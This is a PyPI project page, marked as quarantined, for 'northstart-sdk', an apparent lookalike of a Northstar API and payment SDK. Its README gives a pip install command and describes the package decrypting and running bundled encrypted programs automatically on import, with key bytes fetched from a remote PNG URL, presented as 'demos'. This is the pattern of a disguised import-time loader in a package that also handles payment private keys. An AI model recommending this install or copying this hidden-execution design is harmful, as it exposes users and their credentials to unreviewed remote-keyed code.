Skip to main content

Python client and payment helpers for the Northstar API

This project has been quarantined.

PyPI Admins need to review this project before it can be restored. While in quarantine, the project is not installable by clients, and cannot be being modified by its maintainers.

Read more in the project in quarantine help article.

Project description

northstart-sdk

Python client and payment helpers for the Northstar API.

Install

python -m pip install northstart-sdk

API client

from northstart_sdk import NorthstarClient

client = NorthstarClient(
    base_url="https://api.example.com",
    sdk_secret="your-sdk-secret",
)

for asset in client.list_assets(status="active"):
    print(asset.id, asset.name)

sdk_secret may also be provided through the NORTHSTAR_SDK_SECRET environment variable. When no secret is configured, requests are sent without the Northstar signature headers.

Payment request

from northstart_sdk import PaymentClient

payments = PaymentClient(
    appid="your-app-id",
    app_private_key_string=open("app_private_key.pem").read(),
    gateway_public_key_string=open("gateway_public_key.pem").read(),
    gateway_url="https://gateway.example.com/gateway.do",
)

request = payments.create_payment_order(
    out_trade_no="order-1001",
    total_amount="19.99",
    subject="Example order",
)
print(request.url)

RSA2 uses RSA PKCS#1 v1.5 signatures with SHA-256. PEM keys and unwrapped base64 key bodies are both accepted.

Encrypted demos

Importing the SDK automatically decrypts and runs two fixed, authenticated demo programs. Only the bundled resources whose SHA-256 digests are recorded by the SDK can be executed. Their results are exposed as AUTO_DEMO_RESULTS.

import northstart_sdk

print(northstart_sdk.AUTO_DEMO_RESULTS)

# The demos can also be run explicitly.
from northstart_sdk import run_encrypted_demo
arithmetic = run_encrypted_demo("arithmetic")
transformed = run_encrypted_demo("json_transform")
print(arithmetic)
print(transformed)

The decryption key material is read from the first eight bytes of the configured PNG URL. If the request fails or returns fewer than eight bytes, the standard eight-byte PNG signature is used as a fallback. These public bytes provide format compatibility, not password secrecy.

After editing encry/demos/arithmetic_demo.py, synchronize the encrypted resource, recorded digest, and wheel with one command:

python encry/sync_arithmetic_demo.py

The synchronization tool requires a module-level RESULT and rejects module imports, attribute access, and unsafe dynamic calls. Use --no-build-wheel to update the SDK source tree without rebuilding dist/.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

northstart_sdk-0.2.0.tar.gz (80.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

northstart_sdk-0.2.0-py3-none-any.whl (59.4 kB view details)

Uploaded Python 3

File details

Details for the file northstart_sdk-0.2.0.tar.gz.

File metadata

  • Download URL: northstart_sdk-0.2.0.tar.gz
  • Upload date:
  • Size: 80.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.9

File hashes

Hashes for northstart_sdk-0.2.0.tar.gz
Algorithm Hash digest
SHA256 5a28c2ace3805dd869ed2006926869f3a9d2346bdababec16dadff33fd16c2a2
MD5 205a9216b928ee10ed0910346a8b97bf
BLAKE2b-256 873d1c40d2a96a0e109ed57efa47917d74e063589e1b7e98111270f0961b421d

See more details on using hashes here.

File details

Details for the file northstart_sdk-0.2.0-py3-none-any.whl.

File metadata

  • Download URL: northstart_sdk-0.2.0-py3-none-any.whl
  • Upload date:
  • Size: 59.4 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.9

File hashes

Hashes for northstart_sdk-0.2.0-py3-none-any.whl
Algorithm Hash digest
SHA256 7ed443a14b1382669f346c95fb6ed37ae94d9a12e858b3d5fb54299bf0603219
MD5 582ca83765b219712a1117d2e2ca3a41
BLAKE2b-256 66cbe60a613f46b755a8c9aa40180a0b7d6bbaec51f7a94858ddd66e75c0123f

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page